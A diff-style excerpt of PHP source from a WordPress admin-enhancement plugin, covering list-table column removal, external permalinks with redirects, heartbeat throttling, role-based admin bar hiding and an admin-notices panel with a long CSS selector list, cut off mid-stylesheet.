if ( property_exists( $object, 'ID' ) ) {
|
||||
$id = $object->ID;
|
||||
}
|
||||
// For taxonomies
|
||||
if ( property_exists( $object, 'term_id' ) ) {
|
||||
$id = $object->term_id;
|
||||
}
|
||||
// For comments
|
||||
if ( property_exists( $object, 'comment_ID' ) ) {
|
||||
$id = $object->comment_ID;
|
||||
}
|
||||
$actions['asenha-list-table-item-id'] = '<span class="asenha-list-table-item-id">ID: ' . $id . '</span>';
|
||||
}
|
||||
return $actions;
|
||||
}
|
||||
|
||||
/**
|
||||
* Show last modified column for pages, posts and CPTs
|
||||
*
|
||||
* @since 7.4.0
|
||||
*/
|
||||
public function hide_date_column() {
|
||||
foreach ( get_post_types() as $post_type ) {
|
||||
add_filter(
|
||||
'manage_' . $post_type . '_posts_columns',
|
||||
[$this, 'remove_date_column'],
|
||||
10,
|
||||
1
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a column called Last Modified
|
||||
*
|
||||
* @since 7.4.0
|
||||
*/
|
||||
public function remove_date_column( $columns ) {
|
||||
unset($columns['date']);
|
||||
return $columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide comments column in list tables for pages, post types that support comments, and alse media/attachments.
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function hide_comments_column() {
|
||||
$post_types = get_post_types( array(
|
||||
'public' => true,
|
||||
), 'names' );
|
||||
foreach ( $post_types as $post_type_key => $post_type_name ) {
|
||||
if ( post_type_supports( $post_type_key, 'comments' ) ) {
|
||||
if ( 'attachment' != $post_type_name ) {
|
||||
// For list tables of pages, posts and other post types
|
||||
add_filter( "manage_{$post_type_name}_posts_columns", [$this, 'remove_comment_column'] );
|
||||
} else {
|
||||
// For list table of media/attachment
|
||||
add_filter( 'manage_media_columns', [$this, 'remove_comment_column'] );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a column called ID
|
||||
*
|
||||
* @param mixed $columns
|
||||
* @return void
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function remove_comment_column( $columns ) {
|
||||
unset($columns['comments']);
|
||||
return $columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide tags column in list tables for posts.
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function hide_post_tags_column() {
|
||||
$post_types = get_post_types( array(
|
||||
'public' => true,
|
||||
), 'names' );
|
||||
foreach ( $post_types as $post_type_key => $post_type_name ) {
|
||||
if ( $post_type_name == 'post' ) {
|
||||
add_filter( "manage_posts_columns", [$this, 'remove_post_tags_column'] );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a column called ID
|
||||
*
|
||||
* @param mixed $columns
|
||||
* @return void
|
||||
* @since 1.0.0
|
||||
*/
|
||||
public function remove_post_tags_column( $columns ) {
|
||||
unset($columns['tags']);
|
||||
return $columns;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for External Permalinks module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class External_Permalinks {
|
||||
/**
|
||||
* Check if External Permalinks is enabled for the given post type.
|
||||
*
|
||||
* In the free version, this always behaves like 'only-on'. In the pro
|
||||
* version, this can be 'only-on', 'except-on' or 'all-post-types'.
|
||||
*
|
||||
* @param string $post_type_slug Post type slug.
|
||||
* @param array $options Plugin options.
|
||||
* @return bool True when enabled for the post type.
|
||||
*/
|
||||
private function is_enabled_for_post_type( $post_type_slug, $options = array() ) {
|
||||
if ( empty( $post_type_slug ) ) {
|
||||
return false;
|
||||
}
|
||||
$enabled_for = ( isset( $options['enable_external_permalinks_for'] ) && is_array( $options['enable_external_permalinks_for'] ) ? $options['enable_external_permalinks_for'] : array() );
|
||||
// Only operate on applicable post types (public, excluding attachment).
|
||||
$applicable_post_types = array_keys( $enabled_for );
|
||||
$applicable_post_types = array_values( array_diff( $applicable_post_types, array('attachment') ) );
|
||||
if ( empty( $applicable_post_types ) || !in_array( $post_type_slug, $applicable_post_types, true ) ) {
|
||||
return false;
|
||||
}
|
||||
$type = 'only-on';
|
||||
$selected_post_types = array();
|
||||
foreach ( $enabled_for as $slug => $is_enabled ) {
|
||||
if ( 'attachment' === $slug ) {
|
||||
continue;
|
||||
}
|
||||
if ( $is_enabled ) {
|
||||
$selected_post_types[] = $slug;
|
||||
}
|
||||
}
|
||||
// Default to 'only-on'.
|
||||
return in_array( $post_type_slug, $selected_post_types, true );
|
||||
}
|
||||
|
||||
/**
|
||||
* Add external permalink meta box for enabled post types
|
||||
*
|
||||
* @since 3.9.0
|
||||
*/
|
||||
public function add_external_permalink_meta_box( $post_type, $post ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( !$this->is_enabled_for_post_type( $post_type, $options ) ) {
|
||||
return;
|
||||
}
|
||||
// Skip adding meta box for post types where Gutenberg is enabled
|
||||
// if (
|
||||
// function_exists( 'use_block_editor_for_post_type' )
|
||||
// && use_block_editor_for_post_type( $post_type )
|
||||
// ) {
|
||||
// return;
|
||||
// }
|
||||
add_meta_box(
|
||||
'asenha-external-permalink',
|
||||
// ID of meta box
|
||||
'External Permalink',
|
||||
// Title of meta box
|
||||
[$this, 'output_external_permalink_meta_box'],
|
||||
// Callback function
|
||||
$post_type,
|
||||
// The screen on which the meta box should be output to
|
||||
'normal',
|
||||
// context
|
||||
'high'
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Render External Permalink meta box
|
||||
*
|
||||
* @since 3.9.0
|
||||
*/
|
||||
public function output_external_permalink_meta_box( $post ) {
|
||||
?>
|
||||
<div class="external-permalink-input">
|
||||
<input name="<?php
|
||||
echo esc_attr( 'external_permalink' );
|
||||
?>" class="large-text" id="<?php
|
||||
echo esc_attr( 'external_permalink' );
|
||||
?>" type="text" value="<?php
|
||||
echo esc_url( get_post_meta( $post->ID, '_links_to', true ) );
|
||||
?>" placeholder="https://" />
|
||||
<div class="external-permalink-input-description">Keep empty to use the default WordPress permalink. External permalink will open in a new browser tab.</div>
|
||||
<?php
|
||||
wp_nonce_field(
|
||||
'external_permalink_' . $post->ID,
|
||||
'external_permalink_nonce',
|
||||
false,
|
||||
true
|
||||
);
|
||||
?>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Save external permalink input
|
||||
*
|
||||
* @since 3.9.0
|
||||
*/
|
||||
public function save_external_permalink( $post_id ) {
|
||||
// Only proceed if nonce is verified
|
||||
if ( isset( $_POST['external_permalink_nonce'] ) && wp_verify_nonce( $_POST['external_permalink_nonce'], 'external_permalink_' . $post_id ) ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$post_type = get_post_type( $post_id );
|
||||
if ( !$this->is_enabled_for_post_type( $post_type, $options ) ) {
|
||||
return;
|
||||
}
|
||||
// Get the value of external permalink from input field
|
||||
$external_permalink = ( isset( $_POST['external_permalink'] ) ? esc_url_raw( trim( $_POST['external_permalink'] ) ) : '' );
|
||||
// Update or delete external permalink post meta
|
||||
if ( !empty( $external_permalink ) ) {
|
||||
update_post_meta( $post_id, '_links_to', $external_permalink );
|
||||
} else {
|
||||
delete_post_meta( $post_id, '_links_to' );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Change WordPress default permalink into external permalink for pages
|
||||
*
|
||||
* @since 3.9.0
|
||||
*/
|
||||
public function use_external_permalink_for_pages( $permalink, $post_id ) {
|
||||
$request_uri = sanitize_text_field( $_SERVER['REQUEST_URI'] );
|
||||
// e.g. /wp-admin/index.php?page=page-slug
|
||||
if ( false === strpos( $request_uri, 'mfn-live-builder' ) ) {
|
||||
// When not in BeTheme template builder, that has the 'action=mfn-live-builder' parameter in the URL
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$post_type = get_post_type( $post_id );
|
||||
if ( !$this->is_enabled_for_post_type( $post_type, $options ) ) {
|
||||
return $permalink;
|
||||
}
|
||||
$external_permalink = get_post_meta( $post_id, '_links_to', true );
|
||||
if ( !empty( $external_permalink ) ) {
|
||||
$permalink = $external_permalink;
|
||||
}
|
||||
}
|
||||
return $permalink;
|
||||
}
|
||||
|
||||
/**
|
||||
* Change WordPress default permalink into external permalink for posts and custom post types
|
||||
*
|
||||
* @since 3.9.0
|
||||
*/
|
||||
public function use_external_permalink_for_posts( $permalink, $post ) {
|
||||
$request_uri = sanitize_text_field( $_SERVER['REQUEST_URI'] );
|
||||
// e.g. /wp-admin/index.php?page=page-slug
|
||||
if ( false === strpos( $request_uri, 'mfn-live-builder' ) ) {
|
||||
// When not in BeTheme template builder, that has the 'action=mfn-live-builder' parameter in the URL
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$post_type = ( is_object( $post ) && isset( $post->post_type ) ? $post->post_type : '' );
|
||||
if ( !$this->is_enabled_for_post_type( $post_type, $options ) ) {
|
||||
return $permalink;
|
||||
}
|
||||
$external_permalink = get_post_meta( $post->ID, '_links_to', true );
|
||||
if ( !empty( $external_permalink ) ) {
|
||||
$permalink = $external_permalink;
|
||||
if ( !is_admin() ) {
|
||||
$permalink = $permalink . '#new_tab';
|
||||
}
|
||||
}
|
||||
}
|
||||
return $permalink;
|
||||
}
|
||||
|
||||
/**
|
||||
* Redirect page/post to external permalink if it's loaded directly from the WP default permalink
|
||||
*
|
||||
* @since 3.9.0
|
||||
*/
|
||||
public function redirect_to_external_permalink() {
|
||||
// If not on/loading the single page/post URL, do nothing
|
||||
if ( !is_singular() ) {
|
||||
return;
|
||||
}
|
||||
global $post;
|
||||
if ( !is_null( $post ) && is_object( $post ) && is_a( $post, 'WP_Post' ) ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( empty( $post->post_type ) || !$this->is_enabled_for_post_type( $post->post_type, $options ) ) {
|
||||
return;
|
||||
}
|
||||
if ( property_exists( $post, 'ID' ) ) {
|
||||
$external_permalink = get_post_meta( $post->ID, '_links_to', true );
|
||||
if ( !empty( $external_permalink ) ) {
|
||||
wp_redirect( $external_permalink, 302 );
|
||||
// temporary redirect
|
||||
exit;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Heartbeat Control module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Heartbeat_Control {
|
||||
|
||||
private $current_url_path;
|
||||
|
||||
/**
|
||||
* Maybe modify heartbeat tick frequency based on settings for each location
|
||||
*
|
||||
* @since 3.8.0
|
||||
*/
|
||||
public function maybe_modify_heartbeat_frequency( $settings ) {
|
||||
|
||||
if ( wp_doing_cron() ) {
|
||||
return $settings;
|
||||
}
|
||||
|
||||
$this->get_url_path(); // defines $current_url_path
|
||||
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
|
||||
// Disable heartbeat autostart
|
||||
$settings['autostart'] = false;
|
||||
|
||||
if ( is_admin() ) {
|
||||
|
||||
if ( '/wp-admin/post.php' == $this->current_url_path || '/wp-admin/post-new.php' == $this->current_url_path ) {
|
||||
|
||||
// Maybe modify interval on post edit screens
|
||||
if ( 'modify' == $options['heartbeat_control_for_post_edit'] ) {
|
||||
$settings['minimalInterval'] = absint( $options['heartbeat_interval_for_post_edit'] );
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Maybe modify interval on admin pages
|
||||
if ( 'modify' == $options['heartbeat_control_for_admin_pages'] ) {
|
||||
$settings['minimalInterval'] = absint( $options['heartbeat_interval_for_admin_pages'] );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Maybe modify interval on the frontend
|
||||
if ( 'modify' == $options['heartbeat_control_for_frontend'] ) {
|
||||
$settings['minimalInterval'] = absint( $options['heartbeat_interval_for_frontend'] );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $settings;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Maybe disable heartbeat ticks based on settings for each location
|
||||
*
|
||||
* @since 3.8.0
|
||||
*/
|
||||
public function maybe_disable_heartbeat() {
|
||||
|
||||
global $pagenow;
|
||||
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
|
||||
if ( is_admin() ) {
|
||||
|
||||
if ( 'post.php' == $pagenow || 'post-new.php' == $pagenow ) {
|
||||
|
||||
// Maybe disable on post creation / edit screens
|
||||
if ( 'disable' == $options['heartbeat_control_for_post_edit'] ) {
|
||||
wp_deregister_script( 'heartbeat' );
|
||||
return;
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Maybe disable on the rest of admin pages
|
||||
if ( 'disable' == $options['heartbeat_control_for_admin_pages'] ) {
|
||||
wp_deregister_script( 'heartbeat' );
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Maybe disable on the frontend
|
||||
if ( 'disable' == $options['heartbeat_control_for_frontend'] ) {
|
||||
wp_deregister_script( 'heartbeat' );
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Set current location
|
||||
* Supported locations [editor,dashboard,frontend]
|
||||
*/
|
||||
public function get_url_path() {
|
||||
|
||||
global $pagenow;
|
||||
|
||||
if ( isset( $_SERVER['HTTP_HOST'] ) ) {
|
||||
$url = ( isset( $_SERVER['HTTPS'] ) ? 'https' : 'http' ) . '://' . $_SERVER["HTTP_HOST"] . '' . $_SERVER["REQUEST_URI"];
|
||||
} else {
|
||||
$url = get_admin_url() . $pagenow;
|
||||
}
|
||||
|
||||
$request_path = parse_url( $url, PHP_URL_PATH ); // e.g. '/wp-admin/post.php'
|
||||
$this->current_url_path = $request_path;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Hide Admin Bar module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Hide_Admin_Bar {
|
||||
/**
|
||||
* Whether the current user should see the frontend admin bar per Hide Admin Bar role rules.
|
||||
*
|
||||
* @since 8.9.0
|
||||
* @return bool True when the toolbar should display on the frontend.
|
||||
*/
|
||||
public function is_frontend_admin_bar_visible_for_current_user() {
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
if ( !is_array( $options ) ) {
|
||||
return false;
|
||||
}
|
||||
$for_roles_frontend = ( isset( $options['hide_admin_bar_for'] ) ? $options['hide_admin_bar_for'] : array() );
|
||||
$always_show_for_admins_on_frontend = ( isset( $options['hide_admin_bar_always_show_for_admins'] ) ? $options['hide_admin_bar_always_show_for_admins'] : false );
|
||||
$current_user = wp_get_current_user();
|
||||
$current_user_roles = (array) $current_user->roles;
|
||||
if ( count( $current_user_roles ) === 0 ) {
|
||||
return false;
|
||||
}
|
||||
if ( in_array( 'administrator', $current_user_roles, true ) && $always_show_for_admins_on_frontend ) {
|
||||
return true;
|
||||
}
|
||||
if ( isset( $for_roles_frontend ) && count( $for_roles_frontend ) > 0 ) {
|
||||
$roles_admin_bar_hidden_frontend = array();
|
||||
foreach ( $for_roles_frontend as $role_slug => $admin_bar_hidden ) {
|
||||
if ( $admin_bar_hidden ) {
|
||||
$roles_admin_bar_hidden_frontend[] = $role_slug;
|
||||
}
|
||||
}
|
||||
foreach ( $current_user_roles as $role ) {
|
||||
if ( in_array( $role, $roles_admin_bar_hidden_frontend, true ) ) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide admin bar on the frontend for the user roles selected
|
||||
*
|
||||
* @since 1.3.0
|
||||
* @param bool $show Default visibility from WordPress.
|
||||
* @return bool
|
||||
*/
|
||||
public function hide_admin_bar_for_roles_on_frontend( $show = true ) {
|
||||
if ( !$show ) {
|
||||
return false;
|
||||
}
|
||||
return $this->is_frontend_admin_bar_visible_for_current_user();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,365 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use WP_Admin_Bar;
|
||||
/**
|
||||
* Class for Hide Admin Notices module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Hide_Admin_Notices {
|
||||
/**
|
||||
* Wrapper for admin notices being output on admin screens
|
||||
*
|
||||
* @since 1.2.0
|
||||
*/
|
||||
public function admin_notices_wrapper() {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$hide_for_nonadmins = ( isset( $options['hide_admin_notices_for_nonadmins'] ) ? $options['hide_admin_notices_for_nonadmins'] : false );
|
||||
$minimum_capability = 'manage_options';
|
||||
if ( current_user_can( $minimum_capability ) ) {
|
||||
echo '<div class="asenha-admin-notices-drawer" style="display:none;"><h2>' . __( 'Admin Notices', 'admin-site-enhancements' ) . '</h2></div>';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* FOR TESTING: show an admin notice that is visible for all user roles
|
||||
*
|
||||
* @since 8.0.4
|
||||
*/
|
||||
public function show_test_admin_notice_for_all_user_roles() {
|
||||
?>
|
||||
<div class="notice notice-info is-dismissible">
|
||||
<p><?php
|
||||
esc_html_e( "This notice is visible for all user roles.", 'wpturbo' );
|
||||
?></p>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Admin bar menu item for the hidden admin notices
|
||||
*
|
||||
* @link https://developer.wordpress.org/reference/classes/wp_admin_bar/add_menu/
|
||||
* @link https://developer.wordpress.org/reference/classes/wp_admin_bar/add_node/
|
||||
* @since 1.2.0
|
||||
*/
|
||||
public function admin_notices_menu( WP_Admin_Bar $wp_admin_bar ) {
|
||||
// Only show Notices menu in wp-admin but when not in Customizer preview
|
||||
if ( is_admin() && !is_customize_preview() ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$hide_for_nonadmins = ( isset( $options['hide_admin_notices_for_nonadmins'] ) ? $options['hide_admin_notices_for_nonadmins'] : false );
|
||||
$hide_menu_for_nonadmins = ( isset( $options['hide_admin_notices_menu_for_nonadmins'] ) ? $options['hide_admin_notices_menu_for_nonadmins'] : false );
|
||||
$minimum_capability = 'manage_options';
|
||||
if ( current_user_can( $minimum_capability ) ) {
|
||||
$wp_admin_bar->add_menu( array(
|
||||
'id' => 'asenha-hide-admin-notices',
|
||||
'parent' => 'top-secondary',
|
||||
'group' => null,
|
||||
'title' => __( 'Notices', 'admin-site-enhancements' ) . '<span class="asenha-admin-notices-counter" style="opacity:0;">0</span>',
|
||||
'meta' => array(
|
||||
'class' => 'asenha-admin-notices-menu hidden',
|
||||
'title' => __( 'Click to view hidden admin notices', 'admin-site-enhancements' ),
|
||||
),
|
||||
) );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Inline CSS for the hiding notices on page load in wp admin pages
|
||||
*
|
||||
* @since 1.2.0
|
||||
*/
|
||||
public function admin_notices_menu_inline_css() {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$hide_for_nonadmins = ( isset( $options['hide_admin_notices_for_nonadmins'] ) ? $options['hide_admin_notices_for_nonadmins'] : false );
|
||||
$minimum_capability = 'manage_options';
|
||||
if ( is_admin() && !is_customize_preview() && current_user_can( $minimum_capability ) ) {
|
||||
// Below we pre-emptively hide notices to avoid having them shown briefly before being moved into the notices panel via JS
|
||||
?>
|
||||
<style type="text/css">
|
||||
#wpadminbar .asenha-admin-notices-menu .ab-empty-item {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#wpadminbar .asenha-admin-notices-counter {
|
||||
box-sizing: border-box;
|
||||
margin: 1px 0 -1px 6px ;
|
||||
padding: 2px 6px 3px 5px;
|
||||
min-width: 18px;
|
||||
height: 18px;
|
||||
border-radius: 50%;
|
||||
background-color: #ca4a1f;
|
||||
color: #fff;
|
||||
font-size: 11px;
|
||||
line-height: 1.6;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* #wpbody-content .notice:not(.system-notice,.update-message),
|
||||
#wpbody-content .notice-error,
|
||||
#wpbody-content .error,
|
||||
#wpbody-content .notice-info,
|
||||
#wpbody-content .notice-information,
|
||||
#wpbody-content #message,
|
||||
#wpbody-content .notice-warning:not(.update-message),
|
||||
#wpbody-content .notice-success:not(.update-message),
|
||||
#wpbody-content .notice-updated,
|
||||
#wpbody-content .updated:not(.active, .inactive, .plugin-update-tr),
|
||||
#wpbody-content .update-nag, */
|
||||
#wpbody-content > .wrap > .notice:not(#plugin-activated-successfully,.system-notice,.updated,.hidden,.inline,.wcml-notice,.asenha-media-replacement-notice),
|
||||
#wpbody-content > .wrap > .notice-error,
|
||||
#wpbody-content > .wrap > .error:not(.hidden),
|
||||
#wpbody-content > .wrap > .notice-info,
|
||||
#wpbody-content > .wrap > .notice-information,
|
||||
#wpbody-content > .wrap > #message:not(.updated,.asenha-media-replacement-notice),
|
||||
#wpbody-content > .wrap > .notice-warning:not(.hidden),
|
||||
#wpbody-content > .wrap > .notice-success:not(.updated,#plugin-activated-successfully,.updated,.asenha-media-replacement-notice),
|
||||
#wpbody-content > .wrap > .notice-updated,
|
||||
#wpbody-content > .wrap > .updated:not(.inline),
|
||||
#wpbody-content > .wrap > .update-nag,
|
||||
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice:not(.system-notice,.hidden,#asenha-fm-warning-notice,#asenha-smtp-password-notice,#asenha-view-admin-as-role-recovery-notice),
|
||||
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-error,
|
||||
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .error:not(.hidden),
|
||||
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-info,
|
||||
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-information,
|
||||
#wpbody-content > .wrap > div > #message,
|
||||
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-warning:not(.hidden,#asenha-fm-warning-notice,#asenha-smtp-password-notice,#asenha-view-admin-as-role-recovery-notice),
|
||||
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-success,
|
||||
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .notice-updated,
|
||||
#wpbody-content > .wrap > div:not(#loco-notices,#loco-content) > .updated,
|
||||
#wpbody-content > .wrap > div > .update-nag,
|
||||
#wpbody-content > div > .wrap > .notice:not(.system-notice,.hidden),
|
||||
#wpbody-content > div > .wrap > .notice-error,
|
||||
#wpbody-content > div > .wrap > .error:not(.hidden),
|
||||
#wpbody-content > div > .wrap > .notice-info,
|
||||
#wpbody-content > div > .wrap > .notice-information,
|
||||
#wpbody-content > div > .wrap > #message,
|
||||
#wpbody-content > div > .wrap > .notice-warning:not(.hidden),
|
||||
#wpbody-content > div > .wrap > .notice-success,
|
||||
#wpbody-content > div > .wrap > .notice-updated,
|
||||
#wpbody-content > div > .wrap > .updated:not(.inline),
|
||||
#wpbody-content > div > .wrap > .update-nag,
|
||||
/* e.g. on user deletion screen */
|
||||
#wpbody-content > form > .wrap > .notice:not(.system-notice,.hidden),
|
||||
#wpbody-content > form > .wrap > .notice-error,
|
||||
#wpbody-content > form > .wrap > .error:not(.hidden),
|
||||
#wpbody-content > form > .wrap > .notice-info,
|
||||
#wpbody-content > form > .wrap > .notice-information,
|
||||
#wpbody-content > form > .wrap > #message,
|
||||
#wpbody-content > form > .wrap > .notice-warning:not(.hidden),
|
||||
#wpbody-content > form > .wrap > .notice-success,
|
||||
#wpbody-content > form > .wrap > .notice-updated,
|
||||
#wpbody-content > form > .wrap > .updated:not(.inline),
|
||||
#wpbody-content > form > .wrap > .update-nag,
|
||||
/* WooCommerce */
|
||||
#wpbody-content > .wrap.woocommerce > form > .notice:not(.system-notice,.hidden),
|
||||
#wpbody-content > .wrap.woocommerce > form > .notice-error,
|
||||
#wpbody-content > .wrap.woocommerce > form > .error:not(.hidden),
|
||||
#wpbody-content > .wrap.woocommerce > form > .notice-info,
|
||||
#wpbody-content > .wrap.woocommerce > form > .notice-information,
|
||||
#wpbody-content > .wrap.woocommerce > form > #message,
|
||||
#wpbody-content > .wrap.woocommerce > form > .notice-warning:not(.hidden),
|
||||
#wpbody-content > .wrap.woocommerce > form > .notice-success,
|
||||
#wpbody-content > .wrap.woocommerce > form > .notice-updated,
|
||||
#wpbody-content > .wrap.woocommerce > form > .updated:not(.inline),
|
||||
#wpbody-content > .wrap.woocommerce > form > .update-nag,
|
||||
/* TranslatePress */
|
||||
#wpbody-content > #trp-main-settings > form > .notice:not(.system-notice,.hidden),
|
||||
#wpbody-content > #trp-main-settings > form > .notice-error,
|
||||
#wpbody-content > #trp-main-settings > form > .error:not(.hidden),
|
||||
#wpbody-content > #trp-main-settings > form > .notice-info,
|
||||
#wpbody-content > #trp-main-settings > form > .notice-information,
|
||||
#wpbody-content > #trp-main-settings > form > #message,
|
||||
#wpbody-content > #trp-main-settings > form > .notice-warning:not(.hidden),
|
||||
#wpbody-content > #trp-main-settings > form > .notice-success,
|
||||
#wpbody-content > #trp-main-settings > form > .notice-updated,
|
||||
#wpbody-content > #trp-main-settings > form > .updated:not(.inline),
|
||||
#wpbody-content > #trp-main-settings > form > .update-nag,
|
||||
/* WordFence */
|
||||
#wpbody-content > .wrap > .wf-container-fluid .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
|
||||
#wpbody-content > .wrap > .wf-container-fluid .notice-error,
|
||||
#wpbody-content > .wrap > .wf-container-fluid .error:not(.hidden),
|
||||
#wpbody-content > .wrap > .wf-container-fluid .notice-info,
|
||||
#wpbody-content > .wrap > .wf-container-fluid .notice-information,
|
||||
#wpbody-content > .wrap > .wf-container-fluid #message,
|
||||
#wpbody-content > .wrap > .wf-container-fluid .notice-warning:not(.hidden),
|
||||
#wpbody-content > .wrap > .wf-container-fluid .notice-success:not(#plugin-activated-successfully),
|
||||
#wpbody-content > .wrap > .wf-container-fluid .notice-updated,
|
||||
#wpbody-content > .wrap > .wf-container-fluid .updated:not(.inline),
|
||||
#wpbody-content > .wrap > .wf-container-fluid .update-nag,
|
||||
/* WP All Import */
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .notice-error,
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .error:not(.hidden),
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .notice-info,
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .notice-information,
|
||||
#wpbody-content > .wrap .wpallimport-wrapper #message,
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .notice-warning:not(.hidden),
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .notice-success:not(#plugin-activated-successfully),
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .notice-updated,
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .updated:not(.inline),
|
||||
#wpbody-content > .wrap .wpallimport-wrapper .update-nag,
|
||||
/* WP All Export */
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .notice-error,
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .error:not(.hidden),
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .notice-info,
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .notice-information,
|
||||
#wpbody-content > .wrap .wpallexport-wrapper #message,
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .notice-warning:not(.hidden),
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .notice-success:not(#plugin-activated-successfully),
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .notice-updated,
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .updated:not(.inline),
|
||||
#wpbody-content > .wrap .wpallexport-wrapper .update-nag,
|
||||
/* WS Form */
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-error,
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .error:not(.hidden),
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-info,
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-information,
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > #message,
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-warning:not(.hidden),
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-success:not(#plugin-activated-successfully),
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .notice-updated,
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .updated:not(.inline),
|
||||
#wpbody-content > #wsf-layout-editor > #poststuff > .update-nag,
|
||||
/* Pods */
|
||||
#wpbody-content .pods-submittable-fields > .notice:not(#plugin-activated-successfully,.system-notice,.hidden),
|
||||
#wpbody-content .pods-submittable-fields > .notice-error,
|
||||
#wpbody-content .pods-submittable-fields > .error:not(.hidden),
|
||||
#wpbody-content .pods-submittable-fields > .notice-info,
|
||||
#wpbody-content .pods-submittable-fields > .notice-information,
|
||||
#wpbody-content .pods-submittable-fields > #message,
|
||||
#wpbody-content .pods-submittable-fields > .notice-warning:not(.hidden),
|
||||
#wpbody-content .pods-submittable-fields > .notice-success:not(#plugin-activated-successfully),
|
||||
#wpbody-content .pods-submittable-fields > .notice-updated,
|
||||
